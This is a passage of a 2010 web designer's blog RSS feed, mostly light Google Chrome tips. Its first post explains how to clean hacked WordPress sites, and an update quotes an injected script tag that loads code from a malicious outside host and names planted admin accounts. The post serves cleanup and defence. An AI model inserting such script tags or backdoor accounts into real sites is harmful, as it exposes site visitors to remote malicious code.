<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>ClickNathan - Handmade Websites &#187; how-tos &amp; web design (ing)</title>
	<atom:link href="http://clicknathan.com/category/how-tos-web-design-ing/feed/" rel="self" type="application/rss+xml" />
	<link>http://clicknathan.com</link>
	<description>Pittsburgh Web designer, blogger and #1 top podcast in USA!</description>
	<lastBuildDate>Thu, 29 Jul 2010 06:11:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.4" -->
		<copyright>Copyright &#xA9; 2010 ClickNathan - Handmade Websites </copyright>
		<managingEditor>design@clicknathan.com (Nathan Swartz)</managingEditor>
		<webMaster>design@clicknathan.com (Nathan Swartz)</webMaster>
		<category>Pittsburgh</category>
		<ttl>9999</ttl>
		<itunes:keywords>web design, pittsburgh, web designer, schwartz, pennsylvania</itunes:keywords>
		<itunes:subtitle>Interviews and lolligagging by Pittsburgh Web Designer Nathan Swartz.</itunes:subtitle>
		<itunes:summary>Interviews and QA from Pittsburgh Web Designer Nathan Swartz. Warning: likely done in jest.</itunes:summary>
		<itunes:author>Nathan Swartz</itunes:author>
		<itunes:category text="Comedy"/>
		<itunes:owner>
			<itunes:name>Nathan Swartz</itunes:name>
			<itunes:email>design@clicknathan.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://clicknathan.com/img/content/podcast-cover.jpg" />
		<image>
			<url>http://clicknathan.com/img/content/podcast-cover.jpg</url>
			<title>ClickNathan - Handmade Websites</title>
			<link>http://clicknathan.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Recent WordPress Hacks on MediaTemple</title>
		<link>http://clicknathan.com/2010/07/28/recent-wordpress-hacks-on-mediatemple/</link>
		<comments>http://clicknathan.com/2010/07/28/recent-wordpress-hacks-on-mediatemple/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 13:43:58 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[hackers have small donuts]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2360</guid>
		<description><![CDATA[WordPress getting hacked is a major pain in the ass.]]></description>
			<content:encoded><![CDATA[<p>I am involved in dozens of websites, some of my own doing and others that I have created for clients at one point or another, almost every single one of which uses WordPress as a CMS. Though I mention the importance of keeping WordPress up to date, many of my clients just don&#8217;t bother, either because they&#8217;re pre WP 2.7 and it would involve a good deal of FTPing, which they are sometimes incapable of, sometimes don&#8217;t want to pay me to do it, and most often simply just don&#8217;t realize how important it is. I&#8217;ve seen a rash of hacks to WordPress sites in the past week, and not only to out of date WP installations, but even to this site, which is running the latest version of WordPress and on a (supposedly very secure) MediaTemple server.</p>
<p>I thought I&#8217;d share a little information I&#8217;ve gathered on this subject, in case it might be helpful to anyone else out there.</p>
<h3>Hardening WordPress Security</h3>
<p>I won&#8217;t bother reprinting the entire article, because well that would be plagiarism, but there&#8217;s a bunch of useful information posted at <em>Smashing Magazine</em> on how to harden your WP installation. <a rel="external" href="http://www.smashingmagazine.com/2010/07/01/10-useful-wordpress-security-tweaks/">Read it here</a>.</p>
<p>I particularly recommend steps 1 (particularly if you don&#8217;t have any use for additional registered users other than admins, though if you do have other users, you might want to give this a skip), 3,4,5,7,8 and 9 in particular.</p>
<h3>How to Find Compromised Files</h3>
<p>I&#8217;ve noticed three main ways these hackers have changed my files, primarily by altering existing files but also by creating new files.</p>
<ol>
<li>Check your <em>header.php</em> and <em>footer.php</em> (the latter was a culprit more often than the former for me) for a bunch of extra code. This will be unreadable, random letters and numbers, which is something called <em>obfuscated code</em> that basically makes it harder to find by antivirus software. Once you find it, delete the heck out of it.</li>
<li>Check any Javascript files, typically in your theme folder but possibly in your plugins folder or anywhere else on your site, for similar code, and remove it as well.</li>
<li>A bit more tedious, go into your <em>/wp-content/uploads</em> folder and look for PHP files that are just named with numbers, such as <em>12345.php</em>. Delete these. Really, there probably shouldn&#8217;t be any PHP files in your uploads folder, other than perhaps an <em>index.php</em> file.</li>
</ol>
<p>I&#8217;ll update this post as I come across any further information on the subject.</p>
<p><strong>Update 7/29/2010 1:11am.</strong> On a very outdated client&#8217;s site (WP 2.3.3) I found the following code injected directly into posts: <span style="font-family: monospace;">&lt;script src=&#8221;http://ae.awaue.com/7&#8243;&gt;&lt;/script&gt;</span>. The client&#8217;s site also had a database error, which was odd that the injected malicious code would also break the database, preventing the site from being accessible and therefore the malicious code from working&#8230;</p>
<p><strong>Update 7/29/2010 2:10am.</strong> It&#8217;s also a good idea to check your Users list for admins, particularly <em>jonnya, jonnyb</em> and <em>amin</em>. Delete &#8216;em.</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2360&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/07/28/recent-wordpress-hacks-on-mediatemple/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Add Javascript Applets to as Google Chrome Bookmarks</title>
		<link>http://clicknathan.com/2010/07/12/how-to-add-javascript-applets-to-as-google-chrome-bookmarks/</link>
		<comments>http://clicknathan.com/2010/07/12/how-to-add-javascript-applets-to-as-google-chrome-bookmarks/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 15:16:31 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[Bookmark Toolbar]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[Javascript Applets]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2342</guid>
		<description><![CDATA[<p>Javascript applets are little pieces of javascript that can do everything from modify a website you&#8217;re on in a variety of ways to reorganizing the light spectrum of our universe to hex values, except that it probably can&#8217;t do that last bit. For all ya&#8217;ll website designers out there, and I&#8217;m talking to you Aunt Polly with your iWeb open trying to start up <em>mycatgotstuckinavase.com/howcute</em>, there&#8217;s a great service out there called Cross Browser Testing. I&#8217;ve already <a href="http://clicknathan.com/2010/06/30/using-google-chrome-a-web-designer%e2%80%99s-experience-part-4-bookmark%e2%80%99s-toolbar/">linked to it</a> like <a href="http://clicknathan.com/2010/02/25/nifty-online-web-design-tools-that-i-actually-use/">a million times divided by 500,000</a>, so I won&#8217;t again, except for <a rel="external" href="http://crossbrowsertesting.com">right here</a>, which lets you test websites in other browsers that you might not have, say, because you bought an MacBook to match your stainless steel fridge but you want to test in Internet Explorer and it&#8217;s only available on ugly computers. They offer one of these little Javascript applets that gives you one click access to their service so you can fire up your VNC client and be logged into a Windows machine somewhere in Tennessee faster than the Civil War is over (take down the flag, boys, you&#8217;re part of the Union now). Adding these applets to Google Chrome isn&#8217;t as drag-and-drop easy as it is in Firefox, though. Google decided that a Bookmark Toolbar would work best on a New Tab page, somewhat defeating the point of having a toolbar to prevent you from having to do unnecessary work. So for those who&#8217;d like to add an applet to their bookmarks in Chrome, here&#8217;s the how to.</p>
<p><a href="http://clicknathan.com/2010/07/12/how-to-add-javascript-applets-to-as-google-chrome-bookmarks/" class="more-link">Read more on How to Add Javascript Applets to as Google Chrome Bookmarks&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2342&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Javascript applets are little pieces of javascript that can do everything from modify a website you&#8217;re on in a variety of ways to reorganizing the light spectrum of our universe to hex values, except that it probably can&#8217;t do that last bit. For all ya&#8217;ll website designers out there, and I&#8217;m talking to you Aunt Polly with your iWeb open trying to start up <em>mycatgotstuckinavase.com/howcute</em>, there&#8217;s a great service out there called Cross Browser Testing. I&#8217;ve already <a href="http://clicknathan.com/2010/06/30/using-google-chrome-a-web-designer%e2%80%99s-experience-part-4-bookmark%e2%80%99s-toolbar/">linked to it</a> like <a href="http://clicknathan.com/2010/02/25/nifty-online-web-design-tools-that-i-actually-use/">a million times divided by 500,000</a>, so I won&#8217;t again, except for <a rel="external" href="http://crossbrowsertesting.com">right here</a>, which lets you test websites in other browsers that you might not have, say, because you bought an MacBook to match your stainless steel fridge but you want to test in Internet Explorer and it&#8217;s only available on ugly computers. They offer one of these little Javascript applets that gives you one click access to their service so you can fire up your VNC client and be logged into a Windows machine somewhere in Tennessee faster than the Civil War is over (take down the flag, boys, you&#8217;re part of the Union now). Adding these applets to Google Chrome isn&#8217;t as drag-and-drop easy as it is in Firefox, though. Google decided that a Bookmark Toolbar would work best on a New Tab page, somewhat defeating the point of having a toolbar to prevent you from having to do unnecessary work. So for those who&#8217;d like to add an applet to their bookmarks in Chrome, here&#8217;s the how to.</p>
<h3>Adding Javascript Applets to Chrome&#8217;s Bookmarks</h3>
<p>Before reading this, you might want to take a gander at this post which explains <a href="http://clicknathan.com/2010/07/09/google-chrome-solutions-bookmarks-dropdown-icon/">how to get a nifty dropdown menu</a> next to the &#8220;Awesome Bar&#8221;, aka the address bar / Google search box combo up there at the top of Chrome. Now, onto the ordered list.</p>
<ol>
<li>Open a New Tab in Chrome. Command+T on a Mac, Ctrl+T on a Windows.</li>
<li><img class="alignright size-medium wp-image-2344" title="Google Toolbar" src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-41-300x131.png" alt="Google Toolbar as seen in Chrome's New Tab" width="300" height="131" />Right click on the Bookmarks Toolbar. It&#8217;s a gray colored box like the one pictured here.</li>
<li>Select &#8220;Add Page&#8221; from the contextual menu that appears.</li>
<li>Give the Bookmark a name. You could Google &#8220;Baby Names&#8221; if you can&#8217;t come up with one. I like Shepherd or Samson or even Samsonite if you have aspirations of a career in luggage design, sales or airport security.</li>
<li>Paste the Javascript applet into the URL field.</li>
<li>Save that son of a gun and you&#8217;re on your way to finishing this tutorial!</li>
</ol>
<p>Hope that helps at least 7 of you, otherwise it doesn&#8217;t seem worth the effort of writing this post. But it&#8217;s written, so let the countdowns begin.</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2342&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/07/12/how-to-add-javascript-applets-to-as-google-chrome-bookmarks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Chrome Solutions: Bookmarks Dropdown Icon</title>
		<link>http://clicknathan.com/2010/07/09/google-chrome-solutions-bookmarks-dropdown-icon/</link>
		<comments>http://clicknathan.com/2010/07/09/google-chrome-solutions-bookmarks-dropdown-icon/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 14:51:42 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[Bookmark Toolbar]]></category>
		<category><![CDATA[Bookmark Toolbar Dropdown]]></category>
		<category><![CDATA[Chrome Extensions]]></category>
		<category><![CDATA[Google Chrome]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2338</guid>
		<description><![CDATA[<p>For anyone who likes the idea of a bookmark&#8217;s toolbar and isn&#8217;t satisfied with the idea of it only appearing in the New Tab window of Google Chrome, but also doesn&#8217;t necessarily want a huge bar spanning the width of the browser (like in most other browsers, where your bookmarks are all listed below the address bar), there&#8217;s a great little dropdown solution via an extension called <a href="https://chrome.google.com/extensions/detail/dneehabidhbfdiohdhbhjbbljobchgab">Bookmark Tree</a>.</p>
<p><a href="http://clicknathan.com/2010/07/09/google-chrome-solutions-bookmarks-dropdown-icon/" class="more-link">Read more on Google Chrome Solutions: Bookmarks Dropdown Icon&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2338&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>For anyone who likes the idea of a bookmark&#8217;s toolbar and isn&#8217;t satisfied with the idea of it only appearing in the New Tab window of Google Chrome, but also doesn&#8217;t necessarily want a huge bar spanning the width of the browser (like in most other browsers, where your bookmarks are all listed below the address bar), there&#8217;s a great little dropdown solution via an extension called <a href="https://chrome.google.com/extensions/detail/dneehabidhbfdiohdhbhjbbljobchgab">Bookmark Tree</a>.</p>
<p><img src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-31-300x176.png" alt="Google Chrome Bookmarks Tree Extension" title="Google Chrome Bookmarks Tree Extension" width="300" height="176" class="alignright size-medium wp-image-2340" />It&#8217;s not the prettiest solution, I&#8217;ll admit, but it gets the job done well and only the dropdown itself is a little ugly, given the choice of font. But everyone needs a little Times New Roman in their life and let&#8217;s face it, it&#8217;s just lacking on the hit websites these days.</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2338&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/07/09/google-chrome-solutions-bookmarks-dropdown-icon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Chrome Solutions: How to Get Native Gmail Support in Google Chrome</title>
		<link>http://clicknathan.com/2010/07/06/google-chrome-solutions-how-to-get-native-gmail-support-in-google-chrome/</link>
		<comments>http://clicknathan.com/2010/07/06/google-chrome-solutions-how-to-get-native-gmail-support-in-google-chrome/#comments</comments>
		<pubDate>Tue, 06 Jul 2010 14:49:17 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[Chrome Extensions]]></category>
		<category><![CDATA[Gmail]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[mailto]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2335</guid>
		<description><![CDATA[<h3>How to Get Native Gmail Support in Google Chrome</h3>
<p>Next in my <a href="http://clicknathan.com/?s=Google Chrome Web Designer Part">list of irks</a> was that Chrome didn&#8217;t support web-based email clients like Gmail, instead defaulting to opening whatever your operating system&#8217;s default mail client might be (Outlook, Mail, etc.) Via extensions, we have a few solutions to this problem:</p>
<p><a href="http://clicknathan.com/2010/07/06/google-chrome-solutions-how-to-get-native-gmail-support-in-google-chrome/" class="more-link">Read more on Google Chrome Solutions: How to Get Native Gmail Support in Google Chrome&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2335&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<h3>How to Get Native Gmail Support in Google Chrome</h3>
<p>Next in my <a href="http://clicknathan.com/?s=Google Chrome Web Designer Part">list of irks</a> was that Chrome didn&#8217;t support web-based email clients like Gmail, instead defaulting to opening whatever your operating system&#8217;s default mail client might be (Outlook, Mail, etc.) Via extensions, we have a few solutions to this problem:</p>
<ul>
<li><a href="https://chrome.google.com/extensions/detail/pgphcomnlaojlmmcjmiddhdapjpbgeoc" rel="external>Send from Gmail</a> automatically opens <code>mailto:</code> links in Gmail. This extension was created by Google themselves. It also adds a button to allow you to quickly compose a new message right from the browser.</li>
<li><a href="https://chrome.google.com/extensions/detail/ahldefgplekckalfcolhhnljbbgaiboc" rel="external">Send Using Gmail (no button)</a> is similar to the extension above, but it doesn&#8217;t add the Gmail button. For those of you and me who&#8217;d like to keep our browser as minimal as possible.</li>
</ul>
<p>So mailto click away, folks!</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2335&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/07/06/google-chrome-solutions-how-to-get-native-gmail-support-in-google-chrome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Chrome Solutions: How to Get Nice Looking RSS Feeds in Google Chrome</title>
		<link>http://clicknathan.com/2010/07/05/google-chrome-solutions-how-to-get-nice-looking-rss-feeds-in-google-chrome/</link>
		<comments>http://clicknathan.com/2010/07/05/google-chrome-solutions-how-to-get-nice-looking-rss-feeds-in-google-chrome/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 14:23:58 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[Chrome Extensions]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[RSS Feeds]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2330</guid>
		<description><![CDATA[<p>Now that I&#8217;ve moaned and complained about everything that&#8217;s wrong with Google Chrome, I figured I should provide a few solutions to the problems <a href="http://clicknathan.com/?s=using google chrome web designer">I&#8217;ve mentioned previously</a>. Chrome isn&#8217;t a bad browser, it&#8217;s fast, has a great Error Consol, and thanks to extensions, most of the issues I&#8217;ve mentioned can easily be overcome. First we&#8217;ll cover:</p>
<p><a href="http://clicknathan.com/2010/07/05/google-chrome-solutions-how-to-get-nice-looking-rss-feeds-in-google-chrome/" class="more-link">Read more on Google Chrome Solutions: How to Get Nice Looking RSS Feeds in Google Chrome&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2330&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Now that I&#8217;ve moaned and complained about everything that&#8217;s wrong with Google Chrome, I figured I should provide a few solutions to the problems <a href="http://clicknathan.com/?s=using google chrome web designer">I&#8217;ve mentioned previously</a>. Chrome isn&#8217;t a bad browser, it&#8217;s fast, has a great Error Consol, and thanks to extensions, most of the issues I&#8217;ve mentioned can easily be overcome. First we&#8217;ll cover:</p>
<h3>How to Get Nice Looking RSS Feeds in Google Chrome</h3>
<p><div id="attachment_2332" class="wp-caption alignright" style="width: 310px"><img src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-13-300x185.png" alt="Pretty RSS Feeds in Google Chrome" title="Google Chrome RSS Feeds Plugin" width="300" height="185" class="size-medium wp-image-2332" /><p class="wp-caption-text">RSS Feeds in Chrome via an extension</p></div>As mentioned before, Chrome doesn&#8217;t handle RSS feeds natively very well. All you get is the raw feed data, which looks a bit crusty. See the two comparisons on the right of native RSS feeds vs. using the <a href="https://chrome.google.com/extensions/detail/nlbjncdgjeocebhnmkbbbdekmmmcbfjd" rel="external">RSS Subscription Extension</a> available to Chrome users.</p>
<p><img src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-5-300x145.png" alt="Google Chrome's native RSS Feed support" title="Native RSS Feeds in Chrome" class="size-medium wp-image-2332" />I still think this should be a default option but Google explains that they are trying to keep Chrome as bare bones as possible, that most users don&#8217;t actually use RSS, and so while it was a default option in the past, they took it out and made it into an extension due to these facts.</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2330&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/07/05/google-chrome-solutions-how-to-get-nice-looking-rss-feeds-in-google-chrome/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Google Chrome, a Web Designer’s Experience, Part 5: The Little Things</title>
		<link>http://clicknathan.com/2010/07/02/using-google-chrome-a-web-designer%e2%80%99s-experience-part-5-the-little-things/</link>
		<comments>http://clicknathan.com/2010/07/02/using-google-chrome-a-web-designer%e2%80%99s-experience-part-5-the-little-things/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 13:44:36 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[Email Clients]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[RSS Feeds]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2311</guid>
		<description><![CDATA[<p>I&#8217;ve discussed issues I&#8217;ve noticed with Google Chrome that are specifically related to using it for building web sites. There are a few other minor annoyances about Google Chrome that add up to big hassles when you combine the time they waste throughout the day, and these are likely to affect any user, not just those of us with our digital hard hats donned.</p>
<p><a href="http://clicknathan.com/2010/07/02/using-google-chrome-a-web-designer%e2%80%99s-experience-part-5-the-little-things/" class="more-link">Read more on Using Google Chrome, a Web Designer’s Experience, Part 5: The Little Things&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2311&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve discussed issues I&#8217;ve noticed with Google Chrome that are specifically related to using it for building web sites. There are a few other minor annoyances about Google Chrome that add up to big hassles when you combine the time they waste throughout the day, and these are likely to affect any user, not just those of us with our digital hard hats donned.</p>
<h3>RSS Feeds</h3>
<p><img src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-5-300x145.png" alt="Example of RSS Feed in Google Chrome" title="Example of RSS Feed in Google Chrome" width="300" height="145" class="alignright size-medium wp-image-2312" />Chrome doesn&#8217;t handle RSS Feeds natively by default. Is that redundant? Can Natives be Defaults? Only if their parents are interested in unusual names. But enough with the hilarious jokes making you laugh too loud in your cubicle, aka, the bus you&#8217;re reading this on. While I understand that the majority of users don&#8217;t know what RSS is let alone use it, it&#8217;s a handy protocol that&#8217;s changing the way people consume information and will continue to do so at a growing rate as Grandpa checks into the afterlife and little Suzy&#8217;s desk at school is replaced by a giant iPad. With Chrome, you either have to use an extension to read RSS feeds, or open Firefox. I don&#8217;t want to use extensions, the whole point of using Google Chrome is to keep it raw and fast, as Firefox as a browser is still better functionality-wise, just not in the performance department.</p>
<h3>Gmail Support</h3>
<p>Click a <em>myemailaddressis@gmail.com</em> link in a browser and Chrome tries opening up Outlook, Mail, or whatever your default desktop email client is. I don&#8217;t use a desktop client, and like everyone else who isn&#8217;t still wearing scrunchy socks or remembering how great the 1800s were, I use Gmail for my Internet communication type things. Google makes Gmail, Google makes Chrome, but Google doesn&#8217;t let Gmail and Chrome play nicely together. I can only assume it&#8217;s because of that one time that they were left alone at the house for the weekend while Mama and Pappa Google went off to the Bahamas and the two of them threw an online bash like nothing Windows ME could have ever imagined. So the only solution to avoid having Mail open up on me every time I want to easily send an email to someone is to copy/paste the address, switch over to a tab running Gmail, and proceed from there like I&#8217;m some kind of common task manager. </p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2311&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/07/02/using-google-chrome-a-web-designer%e2%80%99s-experience-part-5-the-little-things/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Google Chrome, a Web Designer’s Experience, Part 4: Bookmark’s Toolbar</title>
		<link>http://clicknathan.com/2010/06/30/using-google-chrome-a-web-designer%e2%80%99s-experience-part-4-bookmark%e2%80%99s-toolbar/</link>
		<comments>http://clicknathan.com/2010/06/30/using-google-chrome-a-web-designer%e2%80%99s-experience-part-4-bookmark%e2%80%99s-toolbar/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 13:33:20 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[Browser Testing]]></category>
		<category><![CDATA[Browser Toolbars]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[Cross Browser Testing]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2308</guid>
		<description><![CDATA[<p>Browser testing is essential, and I use a wonderful online browser testing solution from <a href="http://crossbrowsertesting.com" rel="external">Cross Browser Testing</a>. It has this great feature where you can add a Javascript booklet to your toolbar, visit the page you want to test, click the booklet and it&#8217;ll open up a VPN connection to the machine / browser combination of your choice. The process is so incredibly simple that it makes browser testing as easy as Tony Hawk&#8217;s video game empire made skateboarding for posers.</p>
<p><a href="http://clicknathan.com/2010/06/30/using-google-chrome-a-web-designer%e2%80%99s-experience-part-4-bookmark%e2%80%99s-toolbar/" class="more-link">Read more on Using Google Chrome, a Web Designer’s Experience, Part 4: Bookmark’s Toolbar&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2308&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Browser testing is essential, and I use a wonderful online browser testing solution from <a href="http://crossbrowsertesting.com" rel="external">Cross Browser Testing</a>. It has this great feature where you can add a Javascript booklet to your toolbar, visit the page you want to test, click the booklet and it&#8217;ll open up a VPN connection to the machine / browser combination of your choice. The process is so incredibly simple that it makes browser testing as easy as Tony Hawk&#8217;s video game empire made skateboarding for posers.</p>
<p><img src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-4.png" alt="Firefox Bookmark Dropdown" title="Firefox Bookmark Dropdown" width="266" height="161" class="alignright size-full wp-image-2309" />Firefox has a bookmarks toolbar, and it can be customized wonderfully to take up very little space (see the picture to the right.) What you&#8217;re seeing there a simple <code>&raquo;</code> button which you can click to bring up a dropdown menu showing whatever bookmarks you&#8217;d like to display therein. I click the <em>CBT</em> booklet and I&#8217;ve fixed any errors in IE7 before the cows got the memo to come home.</p>
<p>For whatever reason, Google Chrome feels like the bookmarks should only be accessed from a new, blank page, or from the menu way up there in the <em>File Edit View&#8230;</em> bar. If I wanted to travel so far north every time I needed a bookmark, I&#8217;d open a Border&#8217;s in Greenland. </p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2308&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/06/30/using-google-chrome-a-web-designer%e2%80%99s-experience-part-4-bookmark%e2%80%99s-toolbar/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Using Google Chrome, a Web Designer’s Experience, Part 3: Webkit Annoyances</title>
		<link>http://clicknathan.com/2010/06/28/using-google-chrome-a-web-designer%e2%80%99s-experience-part-3-webkit-annoyances/</link>
		<comments>http://clicknathan.com/2010/06/28/using-google-chrome-a-web-designer%e2%80%99s-experience-part-3-webkit-annoyances/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 13:24:52 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[Anti-aliasing]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[Font Rendering]]></category>
		<category><![CDATA[Fonts]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[Webkit]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2306</guid>
		<description><![CDATA[<p>It&#8217;s already annoying enough that Mac browsers render fonts all nice and perfectly smooth while Window&#8217;s machines still refuse to automatically implement anti-aliasing on fonts. Aside from making fonts (and the @font-face CSS selector that&#8217;s now a reality) look bad on every browser available to Windowleans, it comes with the side effect that Mac browsers will often render type that takes up fewer pixels on the screen itself. This can be an issue when the length of your text matters. For example, say you have a background image for your navigation bar. You want to have part of the navigation bar&#8217;s background blue while the rest of the bar is red, but you don&#8217;t want to use any image replacement technique for rendering the text itself (you might have a dynamic menu bar running off of your CMS so that when the pages on your site are updated, the navigation bar is as well). If your text renders at different sizes on different Operating Systems, you need to provide different CSS to each OS. Annoying, but doable.</p>
<p><a href="http://clicknathan.com/2010/06/28/using-google-chrome-a-web-designer%e2%80%99s-experience-part-3-webkit-annoyances/" class="more-link">Read more on Using Google Chrome, a Web Designer’s Experience, Part 3: Webkit Annoyances&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2306&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s already annoying enough that Mac browsers render fonts all nice and perfectly smooth while Window&#8217;s machines still refuse to automatically implement anti-aliasing on fonts. Aside from making fonts (and the @font-face CSS selector that&#8217;s now a reality) look bad on every browser available to Windowleans, it comes with the side effect that Mac browsers will often render type that takes up fewer pixels on the screen itself. This can be an issue when the length of your text matters. For example, say you have a background image for your navigation bar. You want to have part of the navigation bar&#8217;s background blue while the rest of the bar is red, but you don&#8217;t want to use any image replacement technique for rendering the text itself (you might have a dynamic menu bar running off of your CMS so that when the pages on your site are updated, the navigation bar is as well). If your text renders at different sizes on different Operating Systems, you need to provide different CSS to each OS. Annoying, but doable.</p>
<p>Something about Webkit, however, renders text differently than Firefox does, even on the same OS, so you can end up with spacing differences. Still fixable by targeting particular browsers, but again, how annoying. This isn&#8217;t really a fault with Webkit vs. Firefox&#8217;s rendering engine, but simply that the browsers end up with differences, and since more people use Firefox than Chrome and Safari (as of the writing of this article, more than twice as many people use FF than use both Chrome and Safari combined), as a Web Designer, developing in a browser that is less common <em>and</em> renders differently than the more popular ones just doesn&#8217;t make sense.</p>
<p>The ideal solution would be that all browsers use the same rendering engine, Webkit being a great choice since it&#8217;s already used in Chrome, Safari and Apple&#8217;s slew of iProducts, but I&#8217;m still waiting on the call back from the King of DotCom on that one.</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2306&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/06/28/using-google-chrome-a-web-designer%e2%80%99s-experience-part-3-webkit-annoyances/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using Google Chrome, a Web Designer’s Experience, Part 2: Inspect Element</title>
		<link>http://clicknathan.com/2010/06/25/using-google-chrome-a-web-designer%e2%80%99s-experience-part-2-inspect-element/</link>
